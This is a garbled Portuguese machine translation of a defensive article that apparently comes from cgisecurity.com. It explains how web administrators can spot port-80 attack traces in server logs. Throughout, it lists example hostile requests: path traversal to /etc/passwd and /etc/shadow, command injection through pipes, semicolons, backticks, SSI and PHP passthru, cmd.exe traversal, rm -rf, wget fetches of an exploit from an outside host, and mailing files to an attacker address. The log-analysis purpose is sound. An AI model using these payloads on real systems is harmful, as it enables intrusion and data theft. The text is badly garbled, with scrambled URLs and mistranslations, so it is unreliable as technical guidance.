vestígios de ataque de 80 porta de serviço na web



I. Resumo

II. Uma descrição detalhada do

III. Mais

IV. Analysis Spillover

V. Transcodificação

VI. Conclusão

[Resumo]

site 80 como a porta de serviço padrão, em sua liberação de uma variedade de problemas de segurança manter algumas dessas vulnerabilidades permitem a um atacante obter ainda a autorização do administrador do sistema para entrar no próprio site, o seguinte é Zenomorph cerca de 80 ataques no rastreamento do porto investigação, e dizer-lhe como encontrar problemas a partir dos registros de log.

[] Detalhes

Aqui, em parte, através de uma série de Liezi mostrar em servidores web e aplicações em seus ataques em geral, e seus traços, que representam apenas ataque Liezi importante, não existe uma lista de todas as formas de ataque, esta secção descrição detalhada do papel de cada ataque, e sua forma de explorar essas vulnerabilidades para atacar.

(1). "" .. "E pedido "..."

Traços destes ataques são muito comuns em aplicações web e servidor web, que usou para permitir que um invasor ou vírus worm, programa para alterar o caminho do servidor web, para ter acesso às áreas fechadas. A maioria dos programas CGI com estas falhas, ".. solicitar".

Exemplo:

http://host/cgi-bin/lame.cgi?file=../../../../etc/motd

Isso mostra que o atacante pedido Liezi mosd esse arquivo, se o invasor a capacidade de inovação na web diretório raiz do servidor, em seguida, obter mais informações e para obter privilégios adicionais.

(2)% 20 "pedido

20% é o valor hexadecimal que os 16 espaços, embora isso não significa que você pode usar qualquer coisa, mas quando você exibir o log vai encontrá-lo, algum aplicativo de servidor web rodando neste personagem pode ser efetivamente implementadas Portanto, você deve ler atentamente o log. Por outro lado, o pedido pode por vezes ajudar a executar alguns comandos.

Exemplo:

http://host/cgi-bin/lame.cgi?page=ls% | 20 al-

Esta mostra Liezi atacante para executar um comando unix, listando todo o catálogo dos documentos solicitados, fazendo com que o invasor para acessar arquivos importantes em seu sistema, para ajudá-lo a continuar proporcionar as condições para a obtenção de privilégios.

(3)% "00" pedido

00% disseram que o hexadecimal 16-byte vazio, ele foi capaz de enganar a aplicação web, e solicitar os diferentes tipos de arquivos.

Exemplos:

http://host/cgi-bin/lame.cgi?page=index.html

Este pode ser um pedido válido na máquina, se um atacante ciente deste pedido foi bem sucedido, ele continuará a olhar para os procedimentos de cgi.

http://host/cgi-bin/lame.cgi?page=../../../../etc/motd

Talvez o programa cgi não aceitar este pedido, porque é o pedido para verificar o sufixo de nome de arquivo, tais como: tipos html.shtml ou outros arquivos. A maioria dos programas irá dizer-lhe o tipo de arquivo solicitado é inválido, desta vez ele vai dizer as solicitações atacante do arquivo deve ser um personagem de um sufixo tipo de arquivo, assim que um atacante pode obter o caminho do sistema, o nome do arquivo, resultando em seu sistema de informação mais sensível

00html% http://host/cgi-bin/lame.cgi?page=../../../../etc/motd

Atenção a este pedido, vai enganar programa cgi decide que o documento é aceitável para determinar os tipos de arquivos, algumas aplicações, porque o pedido tolo Verifique se há um documento válido, que é o atacante método comumente usado.

(4) "|" pedido

Este é um caractere pipe, no sistema Unix, um pedido de ajuda na execução de vários comandos do sistema, ao mesmo tempo.

Exemplo:

# Cat access_log | grep-i ".."

(Este comando irá exibir o log do "pedido ..", comumente usado nos ataques e worms encontrados)

Muitas vezes acham que muitas aplicações web usam este personagem, isso também leva a falsos alarmes no IDS logs.

Na análise cuidadosa de sua aplicação, assim a vantagem de reduzir alarmes falsos em sistemas de detecção de intrusão.

Aqui estão alguns Lieh Tzu:

http://host/cgi-bin/lame.cgi?page=../../../../bin/ls |

Este comando pedido, os seguintes são algumas mudanças no Liezi

http://host/cgi-bin/lame.cgi?page=../../../../bin/ls% a 20%-al | 20/etc

Este pedido está listado no sistema unix diretório / etc de todos os arquivos

% Http://host/cgi-bin/lame.cgi?page=cat 20access_log% | grep 20% i 20 "lame"

O gato pedido de execução de comando e execução do comando grep também, confira os coxos "

(5) "; pedido"

Em sistemas UNIX, esse caráter de linha de comando permite a execução de múltiplas

Exemplo:

Id #; uname-a

(Execução do comando id, seguido pela execução do comando uname)

Algum programa na web com esse caráter, pode resultar em seu IDS registra um aviso de falha, você deve verificar cuidadosamente o seu programa na web, assim você reduz o risco de falha de alertas no IDS.

(6) " " e "Pedidos"

Deve verificar o seu registro logs os dois personagens, uma série de razões, a primeira é o caráter que os dados acrescentados no documento

Exemplo 1:

# Echo "seu hax0red h0 h0" / etc / motd (motd pedido escrito de informação neste documento)

Um invasor pode facilmente usar o pedido acima adulteração de sua página web. Tal como o famoso RDS explorar o atacante é geralmente usado para alterar a página web.

Exemplo 2:

% Http://host/something.php=Hi 20mom% 20Im% 20Bold!

Html você vai notar que a linguagem dos sinais aqui, ele também passou caracteres " "," ", esses ataques não podem fazer com que o invasor para acessar o sistema, confuso pessoas pensam que isto é uma informação web site legítimo (levando a Pessoas acesse este link para visitar o atacante para definir o endereço, este pedido pode ser codificado em hexadecimal de 16 caracteres no formulário, para que os vestígios do ataque não é tão óbvio)

(7)! "Solicitação

linguagem comum sobre esse personagem pedido SS (Server Side Include) I ataque, se o atacante é um atacante confundir o usuário clica no link conjunto, o mesmo que acima.

Exemplo:

http://host1/something.php =

A Lieh-tzu é o atacante pode fazê-lo para um arquivo no site da host2 host1 aparece acima (claro, exigem os visitantes a visitar as configurações de conexão do invasor. Esse pedido pode ser convertida em 16 hex máscara de codificação, que não são facilmente encontrados)

Ao mesmo tempo, esta abordagem também pode executar o comando site web autoridade

Exemplo:

http://host/something.php =

A Lieh-executado no sistema remoto comando "id, ele irá mostrar o ID do usuário do site, normalmente é" ninguém "ou" www "

Esta forma permite também a incluir os arquivos ocultos.

Exemplo:

http://host/something.php =

Os arquivos ocultos. Htpasswd não será exibido, Apache vai recusar-se a estabelecer regras para tal. Ht o formulário de pedido, e logo SSI irá ignorar essas restrições, e levar a problemas de segurança

(8) "," Pedido de

Tais ataques usado para tentar inserir um PHP remotamente procedimentos de aplicação web, que podem permitir que a ordem de execução, dependendo das configurações do servidor, e outros fatores no trabalho (como o PHP é configurado para modo de segurança)

Exemplo: http://host/something.php = passthru (");? "id

Em algumas aplicações php simples, pode ser para o site sobre os direitos do usuário do sistema remoto para executar o comando local

(9), "` "pedido

Esse caráter mais tarde usado para executar comandos em perl, os personagens da aplicação web não é frequentemente utilizado, por isso, se você vê-lo em seu log, deve ser muito cuidadoso

Exemplo:

http://host/something.cgi = `id`

Escreva um programa perl cgi em causa conduziria à execução do comando id

[] Mais

A seção seguinte discutirá a aplicação de mais ataques podiam comandar, juntamente com os documentos solicitados, e se você tiver uma falha de execução remota de comando, deve-se verificar como a descoberta. Esta parte é só para lhe dar uma boa idéia, e informe o seu sistema, o que está acontecendo, os invasores tentam atacar os traços do seu sistema, mas não lista todos o atacante usar os comandos e pedidos.

"/ Bin / ls"

Este comando solicita o caminho inteiro, em muitas aplicações web têm essa lacuna, se você log em muitos lugares, tal pedido, é possível que a vulnerabilidade de execução remota de comando grande, mas não necessariamente um problema também pode ser um falso alarme. Mais uma vez, lembrou, a aplicação web escrita (CGI, ASP, PHP etc ...) é a base da segurança

Exemplo:

http://host/cgi-bin/bad.cgi?doh=../../../../bin/ls% | 20 al-

http://host/cgi-bin/bad.cgi?doh=ls 20%-al;

"Cmd.exe"

Esta é uma janela do shell, se um invasor acessar e executar esse script no servidor para permitir que as condições estabelecidas na máquina Windows pode fazer nada, muitos dos vermes é através da porta 80, a comunicação com a máquina remota

http://host/scripts/something.asp=../../WINNT/system32/cmd.exe?dir+e:

"/ Bin / id"

Este é um dois arquivos binários, seus problemas e / bin / ls, assim, se você log em muitos lugares, tal pedido, é possível que a vulnerabilidade de execução remota de comando grande, mas não necessariamente um problema também pode ser um falso alarme.

Ela irá mostrar qual a parte que pertence a usuários e grupos

Exemplo:

| Http://host/cgi-bin/bad.cgi?doh=../../../../bin/id

http://host/cgi-bin/bad.cgi?doh=id;

"/ Bin / rm"

Este comando pode apagar arquivos sem o uso correto é muito perigoso

Exemplos:

Http://host/cgi-bin/bad.cgi?doh=../../../../bin/rm% 20% 20-rf * |

20% http://host/cgi-bin/bad.cgi?doh=rm-rf 20% *;

"Wget tftp e comando"

Estes comandos são muitas vezes o atacante poderá obter privilégios adicionais para download de arquivos, o wget é um comando unix abaixo, pode ser usado para baixar backdoors, tftp está sob o comando Unix e Windows NT, é usado para baixar o arquivo. Alguns worms se espalham pelo IIS TFTP para copiar o vírus para outras máquinas

Exemplos:

20http% http://host/cgi-bin/bad.cgi?doh=../../../../path/to-wget/wget: / / host2/Phantasmp.c | http:// host / cgi-bin / bad.cgi? doh =% 20http wget: / / www.hwa-security.net/Phantasmp.c;

"Gato" comando

Este comando é usado para exibir o conteúdo do arquivo, usado para ler as informações importantes, tais como arquivos de configuração, arquivos de senhas, arquivos de crédito e documentos que você pode pensar

Exemplos:% http://host/cgi-bin/bad.cgi?doh=../../../../bin/cat 20/etc/motd | http://host/cgi-bin/ bad.cgi? doh = cat% 20/etc/motd;

"Echo" comando

Este comando utilizado para gravar dados no arquivo, como "index.html"

Exemplos: http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo 20% ", # kiwis% fc 20here 20was%" 20% | 200day.txt http://host/cgi-bin/bad.cgi?doh=echo% a 20% ", # kiwis% fc 20here 20was%"% 200day.txt 20 %;

"Ps" comando

Lista de processos atualmente em execução, diga o atacante que um host remoto que esteja executando o software a fim de obter uma idéia dos problemas de segurança, para obter as permissões mais

Exemplos: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ps% | 20-aux http://host/cgi-bin/bad. cgi? doh = 20% ps-aux;

"Kill e killall comando"

sistemas Unix para matar esse processo, um invasor pode usar esse comando para parar os serviços do sistema e processos pode também apagar os rastros do atacante, cerca de explorar irá produzir uma grande quantidade de processos filho

Exemplos: http://host/cgi-bin/bad.cgi?doh=../bin/kill% 20-9% 200% | 20 http://host/cgi-bin/bad.cgi?doh=kill -9% 200;

"Uname comando"

Este comando diz que o atacante nome da máquina remota, durante algum tempo, através de nosso site para saber qual provedor, um atacante que pode ser visitado hoje. Uname-a ao pedido normalmente, estes serão gravados no arquivo de log

Exemplos: 20% http://host/cgi-bin/bad.cgi?doh=../../../../bin/uname http://host/cgi-bin/bad a |. cgi? doh = 20% uname-a;

"Cc, gcc, perl, python, etc ..." compilação / interpretação do comando

Invasor ou através de wget tftp download explorar e utilizar o compilador, cc gcc para compilar isto em um programa executável, e os privilégios de acesso mais

Exemplos: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cc% 20Phantasmp.c | http://host/cgi-bin/bad. cgi? doh = gcc% 20Phantasmp.c;. / a.out% 20% p-2031337;

Se você visualizar os registros encontrados em "python" perl "Estas instruções podem ser um atacante remoto para baixar script python perl, e tentou obter os privilégios do local

"Mail" comando

Os invasores costumam usar esse sistema de comando, alguns documentos importantes para a caixa postal do próprio atacante, mas também disposta a e-mail ataques são realizados

Exemplos: http://host/cgi-bin/bad.cgi?doh=../../../../bin/mail 20attacker@fuckcnhonker.org% 20%

2.168.22.1;

"Chown, chmod, chgrp, chsh, etc ..." e outros comandos

sistemas Unix, a fim de permitir-lhes mudar as permissões do ficheiro

chown = permite definir o dono do arquivo chmod = permite definir as permissões de arquivo chgrp = permite que o proprietário para alterar as permissões de grupo de arquivos chsh = permissão para alterar o shell do usuário

Exemplos: http://host/cgi-bin/bad.cgi?doh=../../../../bin/chmod% 20777% 20index.html | http://host/cgi-bin/ bad.cgi? doh =% 20777% chmod 20index.html;% 20zeno http://host/cgi-bin/bad.cgi?doh=../../../../bin/chown 20% / etc /% http://host/cgi-bin/bad.cgi?doh=chsh master.passwd | 20/bin/sh; http://host/cgi-bin/bad.cgi?doh=../. . / .. / .. / bin / chgrp% 20nobody | 20/etc/shadow%

"/ Etc / passwd" arquivo

Este é o arquivo de sistema de senhas, geralmente fora da sombra, e não permite ver a senha criptografada, mas para um atacante que pode saber o que é válido do usuário, e caminho absoluto do sistema, nome do site e outras informações, como é normalmente por sombra off, para que o atacante normalmente vemos arquivo / etc / shadow

"/ Etc / master.passwd"

Este arquivo é o arquivo de senha do sistema BSD, contém a senha criptografada, o arquivo sobre a conta de root é de somente leitura, e alguns atacantes qualificados abriu sua tentativa de ler o conteúdo., Se o site é privilégios de root para executar, em seguida, o atacante é, podemos ler o conteúdo dentro, um monte de problemas sobre o administrador do sistema virá um após o outro

"/ Etc / shadow"

Contém um sistema de senhas criptografadas, ler o mesmo sobre a conta root, e / et / master.passwd quase

"/ Etc / motd"

Quando o usuário logar no sistema UNIX que a informação, neste "Mensagem do Dia" do arquivo, ele fornece informações importantes do sistema e algumas configurações do usuário administrador, os usuários são 希望 ver, aqueles que não são, contém também as informações de versão do sistema, o atacante costuma ver este arquivo, para entender o que o sistema está rodando sobre o atacante, o próximo passo é a pesquisa para este tipo de sistema, a explorar, e um maior acesso ao sistema de privilégios

"/ Etc / hosts"

O documento fornece endereço IP e redes de informação, um atacante pode aprender mais sobre as configurações de rede do sistema

"/ Usr / local / apache / conf / httpd.conf"

Este é um arquivo de configuração do Apache Web Server, um invasor pode compreender, como cgi, ssi e outras informações está disponível

"/ Etc / inetd.conf"

Este é o arquivo de configuração do serviço inetd, um atacante pode aprender a máquina remota, iniciar os serviços, se usar o wrapper para o controle de acesso, se o invólucro foi encontrado em execução, um atacante o próximo passo será verificar "/ etc / hosts.allow" e "/ etc / hosts.deny, arquivo, e que pode alterar algumas configurações, privilégios de acesso

". Htaccess Htpasswd. E. Htgroup"

Esses arquivos são geralmente web site para os pares de autenticação de identidade do usuário, um invasor pode visualizar estes arquivos, e obter o nome de usuário e senha, a senha Wen Jian. Htpasswd é criptografado Guo, através de um 程序 crack simples de decodificar, permitir que atacantes acesso ao site Zhong áreas protegidas (geralmente o usuário com o mesmo nome de usuário e senha, o atacante pode até mesmo visitar outra conta)

"Access_log e error_log"

Estes são os arquivos de log do servidor apache, os atacantes geralmente ver estes arquivos, olhe esses pedidos são registrados, e aqueles outros pedidos de diferentes lugares

Normalmente, o atacante irá modificar esses arquivos de log, como a sua própria informação de endereço, o invasor através da porta 80 através do seu sistema e seu sistema de backup também não funciona, não há nenhum outro registro de programa de estado do sistema de registro, o que detecção de intrusão torna-se muito difícil trabalhar

"] [Letra de unidade: winntrepairsam._ ou [letra da unidade]: winntrepairsam"

Windows NT arquivo de senha do sistema, se o comando remoto não pode ser implementado, os atacantes geralmente solicitação desses documentos, em seguida, "crack L0pht" do tipo de quebra de senha ferramentas de crack, se o atacante tenta atacar o arquivo de senha do administrador, se máquina remota será bem sucedido se o atacante obtém controle

[Análise] Overflow

Neste artigo não vou falar muito sobre o transbordamento do tópico, vou dar o que esses fenômenos e os traços de notável e de interesse particular, um buffer é muitas vezes atacado pela conversão de código atacante e difícil de encontrar outras maneiras de alcançar

Aqui está uma simples mentira Zi

Exemplo: http://host/cgi-bin/helloworld?type=AAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA aaaaaaaaaa aaaaaaaaaa AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA aaaaaaaaaa aaaaaaaaaa AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA

Esta Liezi mostra o atacante sobre um pedido para enviar um lote de um personagem, testar o programa de um buffer overflow, estouro de buffer pode obter um comando remoto permissões de acolhimento de execução, se o proprietário tem o setuid e procedimentos para a raiz, através do excesso, pode ter acesso a todo o sistema, se não gostar do programa setuid, então o excesso é apenas através da execução de direitos de usuário do site

Aqui não posso dizer todas as circunstâncias, mas você deve verificar regularmente o seu arquivo de log, se naquele dia, de repente encontrei um monte de pedidos, mas geralmente não mais do que o pedido, isto significa que estão sujeitas a ataques de estouro, é claro, também podem ser Um ataque de worm nova rede

[Transcodificação]

Todos os ataques mencionados acima pedido, um atacante conhecimento dos sistemas de IDS, muitas vezes controlos regulares mecânica destes pedidos, normalmente, o atacante usará dados da ferramenta de conversão para transformar o conteúdo solicitado em um formato de 16 bandas, levando a IDS irá ignorar esses pedidos, Estamos familiarizados com a vulnerabilidade CGI ferramenta de verificação que é uma boa Liezi Whisker. Se você exibir o log do tempo encontrou um grande número de 16 bandas e não alguns caracteres comuns, em seguida, o atacante pode tentar usar algumas das maneiras de atacar o seu sistema

A maneira mais rápida é o arquivo de registro do pedido para aqueles hex 16, copiá-lo para o seu navegador, o navegador pode ser convertida em pedido direita, e exibido o conteúdo do pedido, se você não coragem de assumir esse risco, um homem simples ASCII, pode fornecê-lo com o código correto.

[] Conclusão

Este artigo não pode cobrir todas as 80 portas do ataque, mas a maioria deles foram citados ataque generalizado, e dizer-lhe como verificar os arquivos de log, e como o aumento de algumas regras IDS objetivo de escrever o seu web administrador do sistema deve estar preocupado com o que é uma boa idéia, ao mesmo tempo, espero que este artigo ajuda a desenvolvedores web web do programa para escrever programas melhor

DA NOTA: Se você tiver quaisquer comentários e sugestões, envie um e-mail admin@cgisecurity.com.